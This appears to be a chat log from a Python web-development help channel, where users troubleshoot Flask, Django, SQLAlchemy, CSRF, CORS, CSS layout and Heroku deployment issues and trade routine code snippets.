File "<string>", line 2, in commit
File "C:\Users\user\AppData\Roaming\Python\Python310\site-packages\sqlalchemy\orm\session.py", line 1428, in commit
self._transaction.commit(_to_root=self.future)
File "C:\Users\user\AppData\Roaming\Python\Python310\site-packages\sqlalchemy\orm\session.py", line 827, in commit
self._assert_active(prepared_ok=True)
File "C:\Users\user\AppData\Roaming\Python\Python310\site-packages\sqlalchemy\orm\session.py", line 601, in _assert_active
raise sa_exc.PendingRollbackError(
sqlalchemy.exc.PendingRollbackError: This Session's transaction has been rolled back due to a previous exception during flush. To begin a new transaction with this Session, first issue Session.rollback(). Original exception was: (sqlite3.IntegrityError) UNIQUE constraint failed: user.image_file
[SQL: INSERT INTO user (username, email, image_file, password) VALUES (?, ?, ?, ?)]
[parameters: ('admin', 'admin@blog.com', 'default.jpg', 'password')]
(Background on this error at: https://sqlalche.me/e/14/gkpj) (Background on this error at: https://sqlalche.me/e/14/7s2a)```
I need a code that can rotate a logo 360 degrees, for example when it turns right at first it has to quickly rotate up and down can anyone help
i will put this code on my site
I don't understand css language
@frank shoal can you help me with the error, can't seem to find a solution online
Hey. Is there anyone who knows how to work with heroku and godaddy dns servers ? I need to forward my heroku app to my domain, but i cant get it working. Anyone helps ?
Because of an error while inserting(unique constraint error) , you need to roll the db session back. You can type the code
db.session.rollback()
It's getting in by either directly by cmd or by http requests (I created an api route to input data into model). And yes since it's a school project and most of the people here uses DD-MM-YYYY, I wanna enforce that globally but not sure how to do that.
And sure I'll try dateutil. Thanks 😄
You can avoid this if you use the context manager interface with db.session.begin():
Also another question: I've a field with choices in model which looks like ```py
class User(Model):
field = CharField(choices=[('a', 'A'), ('b', 'B'), ('c', 'C')]
Hey,
so i have this html code:
<!doctype html>
<html>
<head>
<title>The jQuery Example</title>
<h2>Logged in: {{logged}}</h2>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"> </script>
<script type=text/javascript> $(function() { $("#login").click(function (event) { $.getJSON('/login', { },
function(data) { }); return false; }); }); </script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"> </script>
<script type=text/javascript> $(function() { $("#logout").click(function (event) { $.getJSON('/logout', { },
function(data) { }); return false; }); }); </script>
</head>
<body>
<input type = "button" id = "login" value = "Login" />
<input type = "button" id = "logout" value = "Logout" />
</body>
</html>
And i want to execute a function from my python quart (asynchronus flask) application on button click, is this js code correct?
This is my source
https://stackoverflow.com/questions/42601478/flask-calling-python-function-on-button-onclick-event
This is my python code: https://mystb.in/WendyIndicatesNamespace.python
is this js code correct?
Have you tested it yourself?
It's much easier to execute the code and observe the result than to carefully peruse the source code for errors
Also, it's a shame that so many answers on the internet still use jQuery. It's not necessary anymore for many of the common tasks. JS has the fetch API which can accomplish the same thing in this case. That way you get rid of the 3rd-party jQuery dependency.
Yes but no, not really. My problem is my friend who isn't here currently is mainly doing html js and so one and i dont really know that much about it, i mainly do backend and thats why i just used this answer on the internet
I just want to test some things
with the backend
and for that i need 2 buttons
So you're unable to run the code to see if it is working?
i did it
but it wasnt working
just nothing happend
no errors
Ah okay. You should have started with mentioning that lol
sorry
I also tried again with hypercorn debug mode, nothing came in
When you mean no errors, where were you looking for errors?
You should be checking your web browser's development console to see errors from JavaScript
i just did
here we are
Access to XMLHttpRequest at 'https://discordapp.com/api/v6/oauth2/authorize?response_type=code&client_id=855372526875574273&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fcallback&scope=identify+guilds+email&state=kIgRNt9Lb0ZEaxfbOq0QUQy6kB6sPV' (redirected from 'http://localhost:8000/login') from origin 'http://localhost:8000' has been blocked by CORS policy: Request header field x-requested-with is not allowed by Access-Control-Allow-Headers in preflight response.
jquery.min.js:4 GET https://discordapp.com/api/v6/oauth2/authorize?response_type=code&client_id=855372526875574273&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fcallback&scope=identify+guilds+email&state=kIgRNt9Lb0ZEaxfbOq0QUQy6kB6sPV net::ERR_FAILED
Okay so that's definitely the problem. I'm not very familiar with CORS so I'm not sure if I'll be of much help
I don't even know what that is, lemme google
But at least it does seem like your code is managing to request the login endpoint
yes
but it isnt working correctly
Hi, I'm using Django and have a State model/table (New York, Connecticut, Florida, etc). How can I initialize the data (state names) with something like a script that runs automatically?
So when I deploy my app to a server with a fresh database I don't have input the data again
I also have a City model with city names
It's like a restore database thing
Or SQL insert into statement
You haven't said what database you're using but it will have a standard way to dump and load data.
I haven't used django-seed but it exists apparently: https://medium.com/@ardho/migration-and-seeding-in-django-3ae322952111
I'm planning on using postgresql
so you can't help me further?
Thanks I'm reading it
I don't think so, sorry. Maybe try removing the x-requested-with header from the request?
This isn't directly a question on code, but more of a general question. How could I (preferably using python) automate a website that I have created using HTML to give access to a segment only after a specific date.
If you're using a Python framework like Flask that should be a simple if statement. If you want static html I would probably set a cron job on the server
Depending on your data source for I would take one of these a approaches:
- Static file (json/csv file etc) - I would look at generating at creating a data migration in the relevant django app (https://docs.djangoproject.com/en/3.2/topics/migrations/#data-migrations). Be sure to read it carefully as there a number of caveats to them, which means things can go wrong, but this is how I typically load this type of data into a project.
- API - write a simple client to pull the data in and store it, this could then be triggered regularly from a management command or a background worker like celery.
Hi everyone, I've been messing with django and wanted to ask if there was a way to put both sign in and sign up form on the same page
Yep it's definitely possible
Have a look at the LoginView code https://github.com/django/django/blob/main/django/contrib/auth/views.py
And the UserCreationForm
You might want to do it via JavaScript though so you can show/hide the second password widget if the username doesn't exist
Hey all, im trying to do some classwork and we are using the hug framework but im trying to create a service registry
how would i go about self registering?
i know i need to grab the address from that instance on startup and pass it to the registry to be saved
but i dont know how to get the address (in this case its hosted locally so it would really jsut be the port number) but you know what i mea
mean
If you upload your image to the same folder as your html file it's just <img src="your_image.jpg">
Hey I'm just wondering how can I make a MCQ type application ( django) in which I will show questions in form of .jpeg or .png
There will be 25 questions 20 MCQ's (multiple choice questions )
5 questions there will be a form so they can answer questions
N in MCQ if user has right questions +4 marks -1 for incorrect answer and in Descriptive/on last 5/The form I want
+4 for correct
N 0 for wrong
N at last I wanna render the result n save to db
Anyone who knows Django please reply I need your help!
If you have a question, just ask it. Don't ask if there's an expert on what you want to ask about.
okay,
I want to implement update operation in my django web app but without using forms
I have implemented C.R.D
sounds like a job for javascript then
how?
or actually you could use simple <a href></a> thing
you can put into it GET requests
with input parameters as Query parameters
url=your_address.com/yourendpoint?var1=123&var2=456
that would be the easiest way in your situation
if u wish to have more control, then only javascript is left to use
I am not sure how to tell it shortly
it is sort of big topic
basically u a looking to listen to "Click" events for the element u wish
and having its own any scripts being run on the click
jQuery makes listening for click events really easy.
If you want to, for example, detect any time an element with the class .click-me is clicked, you would do this.
$('.click-me').click(function (event) { // Don't follow the link event.preventDefault(); // Log the clicked element in the console console.log(event.target); }); Luckily, vanilla ...
element.addEventListener("click", myFunction);
function myFunction() {
alert ("Hello World!");
}
that should work in your case
from the function you can request any existing values on the website with full control
Anyone with an experience in Justpy library
I have implemeneted csrf token but I am still getting the csrf token not founf
hey whats the issue
CSRF token missing or incorrect.
Im a girl and need help plz join my google classrom the code is ds3d2oz
noone cares
yes you do!
plz join my google classrom the code is ds3d2oz
plz join my google classrom the code is ds3d2oz
if you didnt care you wol
wouldnt awser me
IM a cute girl
remove action=""
if action is empty why u r rendering this
do ctrl +s
restart server
then try
Still issue
Did that too
whats the error can i see
check indent also aftet that form line press enter then put csrf token
Still issue T_T
I copied a html file i have used in the same webapp that one is working fine but this one is causing the issue
I deleted the post command also but it still shows
can it be a problem of views.py?

ahhhhhhhhhhhhhh
mybad found it. I forgot to add csrf token on the button which redirect to this website
lol
how do i fix this? i want to center my nav bar, but have a bigger width than the body, which is displayed with a border
here's the css code for nav bar
nav {
background-color: black;
width: 80vw;
}
ul {
display: flex;
justify-content: space-between;
margin: 0;
padding: 0;
}
nav li {
list-style-type: none;
}

also, i don't want to use neg margin-left cuz thats a disgusting way to do it
Yello, anyone in here using django-celery-beats? I have been trying to get the scheduler to auto detect periodic tasks in task.py files outside of the main app for like 3 days now, Im so stumped.
I think I am not seeing the code fully to propose the solution
but I would say... u know... take the nav out of the body
I mean don't limit the width/margin of the body
use "div" to wrap elements that should be limited in width
i probably shouldv'e sent this instead: https://jsfiddle.net/Golden9/o9h7q3e8/#&togetherjs=5nqQ6FROT4 here's the full code
Test your JavaScript, CSS, HTML or CoffeeScript online with JSFiddle code editor.
ok, i did that, but i still don't rlly see any changes
nvm, i broke it
anyway, tell more precisely what i wish to receive
perhaps you could make a simple picture/scatch in paint of the wished end result?
ok, looks simple. uno momento
okie
<!DOCTYPE html>
<html lang="en">
<head>
<title>Blog Post</title>
<style>
header h1,
nav,
main {
margin-left: auto;
margin-right: auto;
width: 80%;
}
header h1 {
font-weight: 200;
}
.black-field {
background-color: black;
}
nav ul {
list-style-type: none;
display: flex;
justify-content: space-between;
align-items: center;
margin: 0;
padding: 0;
}
nav a {
color: white;
line-height: 5ch;
}
</style>
</head>
<body>
<header>
<h1>My exciting website!</h1>
<div class="black-field">
<nav>
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">Blog</a></li>
<li><a href="#">About us</a></li>
<li><a href="#">Our history</a></li>
<li><a href="#">Contacts</a></li>
</ul>
</nav>
</div>
</header>
<main>
<article>
<h2>An Exciting Blog Post</h2>
<img src="balloon-sq6.jpg" alt="big hot air balloon">
<p>
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
maiores alias dignissimos excepturi quisquam in sit?
</p>
<p>
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
maiores alias dignissimos excepturi quisquam in sit?
</p>
<p>
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
maiores alias dignissimos excepturi quisquam in sit?
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
maiores alias dignissimos excepturi quisquam in sit?
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
maiores alias dignissimos excepturi quisquam in sit?
</p>
<p>
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
maiores alias dignissimos excepturi quisquam in sit?
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
</p>
<p>
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
maiores alias dignissimos excepturi quisquam in sit?
Lorem ipsum, dolor sit amet consectetur adipisicing elit.
Nesciunt at amet delectus repudiandae.
Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
</p>
</article>
</main>
</body>
</html>
here you go
I would actually add also max-width
header h1,
nav,
main {
margin-left: auto;
margin-right: auto;
width: 80%;
max-width: 1200px
}
that will make it more elegant
ah i see, thx
I created a OneToOneField linking to a model's "username" field but the column made in the new Model is "user_id". Like: ```py
class User(models.Model):
username = ...
class Auth(models.Model):
user = models.OneToOneField(
UserModel,
on_delete=models.CASCADE,
verbose_name=_("User"),
primary_key=True,
related_name="user",
to_field="username",
)
authorization_token = ...
ip_address = ...
The Table Auth is created like
user_id | authorization_token | ip_address
---------+---------------------+------------
but I need to change the name of the column to username instead
You can set the db_column it's best to use the django defaults though
That's a bare except:
I am new to this
You should catch the actual Exception that you expect to see
It looks like you're trying to update every row in your db?
Is this homework?
Do this first
You also see that it can't update a row if it doesn't exist right?
yeah It does exist
but I just cannot update the fields
Right you can't update it, if it doesn't exist
what are you actually trying to achieve here?
are you trying to create a row in your database?
Hi
I am trying to update exisiting field
right but you did a get then got some exception - which exception did you get?
that's the except: on line 57
no exception
in the try block
I try to print data
but if i print data['image']
it shows error because it has not been filled yet
when the form is filled the data['image'] is updated
Ok so get rid of it then
Hey, i have a problem relating to heroku where i get the following error at step 17
pgloader : The term 'pgloader' is not recognized as the name of a cmdlet, function, script file, or operable program
How can you see live output of a script on a website suppose forwarding the print commands using Ajax or something so the page doesn’t have to load???
There's several ways, what's your web server written in currently?
Websocket and eventsource work well. And for only a small number of users you can just use chunked transfer encoding
anyone there
im testing out an api, but there;s two && as part of the password..
im not sure how to pass it
How are you sending it currently?
Usually whatever tool you use would escape it for you
[django]
I have this relationship, if I have the building object, how do I reach count of devices connected to it?
Can everyone can access api with Postman or api client even when I set CORS settings
@property
def devices_count(self):
return Building.objects.filter(pk=self.pk).annotate(models.Count('floors__rooms__devices')).count()
hi, how do u install pgloader in windows VS Code? im tryna run a command but i get the following error:
pgloader : The term 'pgloader' is not recognized as the name of a cmdlet, function, script file, or operable program
Just Python, html, JavaScript and css.
Which Python tools are you using? gunicorn uvicorn? Django FastAPI?
@commands.command()
async def dps(self,ctx):
req = requests.get(url=url)
soup = BeautifulSoup(req.content,"html.parser")
tag = soup.find_all("a",limit=5)
tag1 = [str(course) for course in tag]
await ctx.send("\n".join(tag1.text)```
<div class="css-16q9pr7">
<div class="css-0">
<p class="chakra-text css-18umjpp">$59,241.53</p>
</div>
<p class="chakra-text css-84xzn5" title="+4.19%">+4.19%</p>
</div>```
If I do find for first class, it will not show me this:<p class="chakra-text css-18umjpp">$59,241.53</p>
tag1 is a list, doesn't have a text attribute
how do i make it have a text attr?
Have to say that: <p class="chakra-text css-18umjpp">$59,241.53</p> the class is changing like every 5 seconds
you don't. rather, in your list comprehension, use course.text
what exactly is your question?
How can I make to show me that
wait what?
where to use course.text
tag1 = [course.text for course in tag]
await ctx.send("\n".join(tag1)
Can anyone help me please?
So I have a flask api "deployed" (no one else is using it atm just me) but Im running he flask server with just the regular python main.py now I have used gunicorn in the past but wondering is it needed why is it better than just running with python over gunicorn?
Does anyone work with selenium
?
@sharp tree What do you understand by "API"?
It's a very general word. A library has an API. A web service also has an API. Same with a piece hardware like an SSD.
An API is the contracts that you expose to the outside, so that other programs can talk to you.
@haughty isle using Apache with wsgi on windows.
I’ve got knowledge of selenium, used it before requests.
<input type='radio' name='job_status' disabled value='completed' ondblclick='this.checked=false;'/>
to find if this has ondblclick i just have to check for the attribute like tags = soup.find_all('ondblclick ') right?
Api is just a contract that allows two applications to talk to each other
the browser
hey
i want to connect to this wss://streamer.cryptocompare.com/v2 in python
and it connects in postman
but when i write my code it says getaddrinfo failed
HOST = 'wss://streamer.cryptocompare.com/v2
socket_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_client.connect((HOST, 80))
Did you try port 443
OK 
i have style.css
this is full codes https://pastecode.io/s/6j4rktrs
and this is my folder directions https://imgur.com/a/jf4ptbA
but not loading.
What do you mean? You're not using python?
You need to use a web socket client

so anyone here have experience with Agora?
or cloud recording a live video element in html
please help me
facing a big error
does anyone know why my xampp subdomain shows the main domain htdocs content i have changed vhost to use a seperate folder and content but it still picks it up as a main domain when its the sub
nvm i must not have went over my vhost file correct it was pointing to the other ones htdocs
weird
my django(running with uvicorn) project is for some reason not able to load the css files when rendering a page.
i get errors that look like this
Refused to apply style from 'http://127.0.0.1:8000/static/css/style.css' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.
In the browser
and django(uvicorn) gives me this
INFO: 127.0.0.1:51686 - "GET /static/css/style.css HTTP/1.1" 404 Not Found
This is my settings
STATIC_URL = '/static/'
#Location of static files
STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static'), ]
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
and this is the file structure for my css and its located at the top level
Not the exact same error but probably relevant: https://stackoverflow.com/questions/35557129/css-not-loading-wrong-mime-type-django
huh, aiohttp has a web server part?
With Django, how do you use a function with input data from a form in your views.py to update a div with the return value of the function?
Can you be more specific ? Is page refresh a viable option? If so, then you just read POST data and use render (with arguments) in views, if not then use AJAX (Asynchronous JavaScript) to post form and play with the returned data on client side. I am new to webdev, correct me if I am wrong.
The rerendering isn't working so far
This is in views.py:
def home(request):
if request.method == 'Post':
form = MachineLearning(request.POST)
if form.is_valid():
return render(request, 'home/welcome.html', {'form': form, "value": value})
else:
form = MachineLearning()
return render(request, 'home/welcome.html', {'form': form})
This is the html:
{% extends 'base.html' %}
{% block content %}
<form action="" method="post">
{% csrf_token %}
{{ form }}
<input type="submit" value="Submit">
</form>
{% if value %}
<div>The form had this as value: {{ value }}</div>
{% endif %}
{% endblock %}
@rugged osprey
Or is the form action incorrect?
<form method="post" action="#"> I use this one
Does it work though?
where is the problem
The issue lies that when clicking the submit button it doesn't showcase a diff with the value
did you check the value in "value"?
Are you actually using the inner render function? @clever forge
Wait an inner render function?
return render(request, 'home/welcome.html', {'form': form, "value": value})
And yeah teh value is rn just a string with "hey"
So the render works, just the condition is false? @clever forge
Well i think the post is just not doing the thing
but you mentioned that you checked the value.. try printing the value in the html , not just using it in the condition
create h1 tag with {{value}}
or debug in views.py if you can reach the mentioned inner render
@clever forge
@rugged osprey ```{% if value %}
<div>The form had this as value: {{ value }}</div>
{% endif %}
should print value
try removing the condition if it works
oh :D, I wasnt sure that was the issue
Anyone run into a problem where Next.js next/image (maybe React does it too) doesn't render all the pictures being served from django media folder? Most pictures do, just not all, and if I do anything to re-render the page (change window size, expand picture, etc.), the pictures continue to show up.
i'm trying to figure out why fastapi websockets don't work for me.
through nginx + cloudflare they 404 but still get through to uvicorn, but if i directly websocat ws://localhost:8787 it gives me a 403 forbidden?
hi
I'm stuck
I've got an error here : <img src="{{ url_for('static', filename='product['image_path']')}}" class="product">
<section class="product_list card_list">
{% for product in products %}
{% if product["product_category"]|string()|lower == category|string()|lower %}
<div class="card">
<div class="imgBox">
<img src="{{ url_for('static', filename='product['image_path']')}}" class="product">
</div>
<div class="contentBox">
{% if product["old_price"] %}
<h3>{{product["product_name"]}}</h3>
<h2 class="price"><small style="padding-right: 0.2rem; color: rgb(129, 129, 104);"><s>{{product["old_price"]}}</s></small>{{product["price"]}} Dh</h2>
{% else %}
<h3>{{product["product_name"]}}</h3>
<h2 class="price">{{product["price"]}} Dh</h2>
{% endif %}
<a href="#" class="buy">Acheter</a>
</div>
</div>
i'm guessing this is erroring?
why ?
you would need to escape the quotes
escape the quotes ?
ie 'product[\'image_path\']'
its reading the quotes as being two different strings
I don't get the error anymore but image still isn't displaying
check if this url is right in the html
this works <img src="{{ url_for('static', filename='images/products/muscletech-celltech-creactor.jpg') }}" class="product">
but when I use product["image_path"] i doesn't
visit the website and check what it's trying to link to
what do you mean by what it's trying to link to
database : image_path : "images/products/muscletech-celltech-creactor.jpg"
I found the solution for my issue
variable shoudn't go between quotes
<img src="{{ url_for('static', filename='product[\'image_path\']') }}" class="product">
hiya
<select type='select' disabled name='location' disabled required>
How would i get every tag with 'disabled name'...not sure how to handle the space
is it possible for me to capture all the Network requests using python? Like all the stuff in Network tab in chrome devtools
depends on what you mean
from your browser?
I mean
you can make a request with python, in which case python is the client
haven touched requests or urllib in quite a while, but yes, you can use those to send requests to youtube and get a response back
you mean when using a browser? chrome in your example?
nvm
feel free to ask questions. this topic is not simple
just to let you know, the above question is not a valid (correct) question
that's why I'm bugging you with additional questions :)
and to answer what I think is your question. I don't think you can inspect what the browser sees with python. but you can inspect traffic, before it reaches the browser with python
Ok, thanks.
you can, but it's a bit involved
not what I would recommend
how? :) can you point me in general direction what to google? just want to get a general idea
you'd need something like Selenium
since you're using Python to drive the browser, you can interact with it
I don't think native Selenium lets you inspect the requests directly
but there's an addon for that
ok, I see how that could work. but I think my point still stands? but you can inspect traffic, before it reaches the browser
in your case, you 'drive' the browser with python
you can't communicate with the browser process (IMO)
hm okay perhaps I did not understand your point
can you explain what you mean by "communicate with the browser process"?
so, once traffic reaches the browser, I don't know of a way to interact with it with python
if you mean
interrogating the browser
from a third party program not integrated with it
then not really, I guess
you'd have to read its process memory directly etc. etc., which I think wouldn't count
hey folks, I'm looking for a way to process a function in flask first before the next function can be called. in other words I want the tasks to not be handled asynchronously
I have a button which turns on a machine and another one that turns it off. pressing the two buttons immediately after another has very mixed results and either turns it off or leaves it still running
I am looking for a similar functionality as proxmox - when "shut down" is clicked on, the process is locked and further clicks are not registered until it is finished
what's the most optimal way of implementing this?
Anyone familiar with Flask-SQLAlchemey and Automap_base?
I'm getting this record with a query but I can't access its fields.
user_exists = db.session.query(AdminUser).filter(AdminUser.email == arg_email).filter(AdminUser.admin_pass == hashed_password).first
This works, but then ...
user_exists.email
Throws an error: AttributeError: 'function' object has no attribute 'email'
I figured it out. Needed to be .first() not .first
You'll need to store the status of the ongoing/current process and only allow another one to be started after the previous one is completed
probably a mutex
yes! that's what it's called
yw :)
thanks guys I'll dig around some more
edit: so I couldn't get semaphores to work but instead went for a simple status update to a dictionary. when the function is called, its corresponding entry is set to 1 and any further calls get ignored until it is set back to 0
Hello. I trained various models with different loss functions on the same dataset. I would like to use flask to create a web-app that can be used to compare any two models for a chosen sample. These images are saved as .npys.
Essentially, I want to display images from multiple .npys in some kind of app.
Where should I start, is there a guide for something similar?
ik i can apply margin: 0 auto; for left and right
what if i want to center top and bottom as well
i tried margin: auto; but it didn't work
I don't know a way but if the height is 50vh then I put margin-top: 25vh;
how does some one make chat that loads for sender and recipient on each new message
Web sockets is probably what you are looking for.
You can implement this type of chat with Django channels and redis server.
thx
Django channels is great when it works you can even easily pair users to groups and on the server side you just send certain messages to certain groups in very few lines of code
this video might be helpful https://www.youtube.com/watch?v=Wv5jlmJs2sU * the previous video was a paid course i think *
I'm pretty new to webdev and I had some troubles implementing it but in the end it worked.
I used it to create real time QnA session chat https://www.liveqna.me/ .
If you'll have some troubles you can dm me although I don't know how helpful will I be because I am having a little break in webdev because of studies.
In this tutorial series we’ll be building an advanced chat application with Django and Django Channels. The purpose of this video is to give you an introduction to Django Channels - the core of asynchronous applications in Django. Eventually we’ll add postgres and a React frontend to make this a complete chat app.
Thanks alot man
can someone please help thanks in advance => django.db.utils.IntegrityError: insert or update on table "Occupy_post" violates foreign key constraint "Occupy_post_user_id_7dca33ac_fk_auth_user_id"
DETAIL: Key (user_id)=(3) is not present in table "auth_user".
Can you create a post_save profile for example for the built in django user? without editing the user model.
Hey there, anybody can tell me why this does not work? I'm feeling kinda sstupid rn. I want to have those two "divs" that are inside "project-skills-links" to be next to each other not underneath.
The "&-skills-link" is inside the ".project" in an scss file.
maybe use flexbox? or grid framework
source: https://www.freecodecamp.org/news/flexbox-the-ultimate-css-flex-cheatsheet/
examples: https://www.w3schools.com/css/css3_flexbox.asp
This comprehensive CSS flexbox cheatsheet will cover everything you need to know to start using flexbox in your web projects. CSS flexbox layout allows you to easily format HTML. Flexbox makes it simple to align items vertically and horizontally using rows and columns. Items will "flex" to different sizes to
Thank you I will try that ❤️
It seems like that my changes are not applied. In the browser I can not see that the "over arching div" has any style attributes.
try using incognito tab (with cleared cache) if cache has anything to do with it
Also after clearing cache and double checking with another browser does not seem to have any style attributes. I'm gona recheck and see if I do something wrong in the file.
💀 💀 😅 Ugh. nvm. I complied it everytime, but I forgot to run "collect static". So it never got put into the static where it loads it from. My bad ❤️ thanks for the help
Anyone?
by django signals
from django.db.models.signals import post_save
from django.contrib.auth.models import User
from django.dispatch import receiver
from .models import Profile
@receiver(post_save, sender=User)
def create_profile(sender, instance, created, **kwargs):
if created:
Profile.objects.create(user=instance)
@receiver(post_save, sender=User)
def save_profile(sender, instance, **kwargs):
instance.profile.save()

create a file signals.py inside ur users app
i mean where u have profile model
Use flexbox.
Wrap your div in a parent div and apply the following to the parent:
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
Then set the parent div's height to whatever you want. That should center it horizontally and vertically.
wow thanks!
Does anyone know how to display images from a .npy in a web app? I want to display on the same page, a picture from a selected dataset or numpy array. Just a link to a suitable guide what be very helpful.
Hello, I've got some issues with CSS and flask. Can anyone help ?
When linking css stylesheets it doesn't, for example show the correct colors (instead of grey I get black)
Two pages have the same stylesheet
One loads flexbox but the other won't
@app.route('/setcookie', methods=['POST', 'GET'])
def setcookie():
if request.method == 'POST':
user = request.form['nm']
resp = make_response(render_template('readcookie.html'))
resp.set_cookie('userID', user)
return resp
@app.route('/getcookie')
def getcookie():
name = request.cookies.get('userID')
return '<h1>welcome ' + name + '</h1>'
``` It's creates an error with the readcookie.html hyperlink?
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="static/hello.js" ></script>
</head>
<body>
<form action="/setcookie" method="post">
<p><h3>Enter userID</h3>
<p><input type="text" name="nm">
<p><input type="submit" value="Login">
</form>
<input type="button" onclick="sayHello()" value="Say Hello" />
</body>
</html>
``` The index.html
any suggestions on where to host my flask website ?
I like heroku,
they have very good set up tutorial and free option (free dyno) for http hosting, free PostgreSQL database to 10000 rows, free redis server with certain limitations ...
after that its roughly 7$/m for dyno *https://www.heroku.com/pricing
Hello, can anyone help me ? I want to be able to open a modal pop up window for quick view. Current code isn't showing modal when "quick view" button pressed
<section class="product_list card_list">
{% for product in products %}
{% if product["product_category"]|string()|lower == category|string()|lower %}
{% set img_path = product["image_path"]%}
<div>{{products.index(product)}}</div>
<div class="card">
<div class="imgBox">
<img src="{{ url_for('static', filename=img_path) }}" class="product">
</div>
<div class="contentBox">
{% if product["old_price"] %}
<h3>{{product["product_name"]}}</h3>
<h2 class="price"><small style="padding-right: 0.2rem; color: rgb(129, 129, 104);"><s>{{product["old_price"]}}</s></small>{{product["price"]}} Dh</h2>
{% else %}
<h3>{{product["product_name"]}}</h3>
<h2 class="price">{{product["price"]}} Dh</h2>
{% endif %}
<a type="button" class="buy" data-toggle="{{product['product_name']}}" data-target="#{{products.index(product)}}">Quick View</a>
</div>
</div>
{% endif %}
{% endfor %}
</section>
{% for product in products %}
{% if product["product_category"]|string()|lower == category|string()|lower %}
{% set img_path = product["image_path"]%}
<!-- Modal: modalQuickView -->
<div>{{products.index(product)}}</div>
<div class="{{product['product_name']}} modal" id="{{products.index(product)}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-body">
<div class="row">
<div class="col-lg-5">
<!--Carousel Wrapper-->
<img src="{{ url_for('static', filename=img_path) }}" class="img-responsive" style="margin: auto; max-width: 100%; max-height: 80%; position: relative; margin-top: 1.5rem;" height="380px" width="380px" alt="Product Image">
<!--/.Slides-->
</div>
<div class="col-lg-7">
<h2 class="h2-responsive product-name">
<strong>{{product["product_name"]}}</strong>
</h2>
<h4 class="h4-responsive">
<span class="green-text">
<strong>{{product["price"]}}</strong>
</span>
<span class="grey-text">
<small>
<s>{{product["old_price"]}} Dh</s>
</small>
</span>
</h4>
<div style="padding-bottom: 1rem;">
{{product["description"]}}
</div>
<button type="button" class="btn btn-secondary" data-dismiss="modal">Fermer</button>
<button class="btn btn-success" ><i class="fab fa-whatsapp"></i> Acheter via Whatsapp
</button>
</div>
</div>
<!-- /.Add to Cart -->
</div>
</div>
</div>
</div>
</div>
</div>
{% endif %}
{% endfor %}
@native tide Do you need something moderated?
yes
what?
please don't delete pings btw
oh sry
Can anybody help ? This doesn't work : <div class="modal fade" ** id="{{product['product_name']}}"** tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
aria-hidden="true">
@fringe escarp
@wraith yacht
@jovial cloud
(react)
https://pastecord.com/eqojymazyg.js
how to get error message from the reponse on line number 34 to the render the error is not showing in form
You mean the data from line 27?
hello can anyone help me ?
Might it fail to parse as JSON?
I want to be able to open a modal pop up window for quick view. Current code isn't showing modal when "quick view" button pressed
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
@haughty isle
?
can u pls help me
order_product = db.Table('order_product',
db.Column('order_id', db.String(length=36), db.ForeignKey('Orders.order_id')),
db.Column('product_id', db.String(length=36), db.ForeignKey('Products.product_id')),
)
class Order(db.Model):
__tablename__ = 'Orders'
order_id = db.Column('id', db.String(length=36), default=lambda: str(uuid.uuid4()), primary_key=True)
total_price = db.Column(db.Integer(), default=1)
order_date = db.Column(db.DateTime(timezone=True), default=datetime.datetime.utcnow)
shipping_address = db.Column(db.String(length=255), nullable=False)
delivered = db.Column(db.Boolean(), default=True)
user_id = db.Column(db.String(length=36), db.ForeignKey('Users.user_id'))
products = db.relationship('Product', secondary=order_product, backref=db.backref('orders', lazy='dynamic'))
def get_id(self):
return self.order_id
def __repr__(self):
return f"Order('{self.order_id}, {self.total_price}, {self.order_date}')"
class Product(db.Model):
__tablename__ = 'Products'
product_id = db.Column('id', db.String(length=36), default=lambda: str(uuid.uuid4()), primary_key=True)
product_name = db.Column(db.String(length=255), nullable=False)
category = db.Column(db.String(length=255), nullable=False)
color = db.Column(db.String(length=255), nullable=False)
price = db.Column(db.Integer() , default=1)
quantity = db.Column(db.Integer(), default=1)
status = db.Column(db.Boolean(), default=True)
discount = db.Column(db.Integer(), default=0)
image = db.Column(db.LargeBinary())
store_id = db.Column(db.String(length=36), db.ForeignKey('Stores.store_id'))
def get_id(self):
return self.product_id
def __repr__(self):
return f"Product('{self.product_id}, {self.product_name}, {self.category}, {self.color}, {self.price}, {self.discount}')"```
raise exc.NoReferencedColumnError(
sqlalchemy.exc.NoReferencedColumnError: Could not initialize target column for ForeignKey 'Products.product_id' on table 'order_product': table 'Products' has no column named 'product_id')
SQL Alchemy and flask
can't create tables
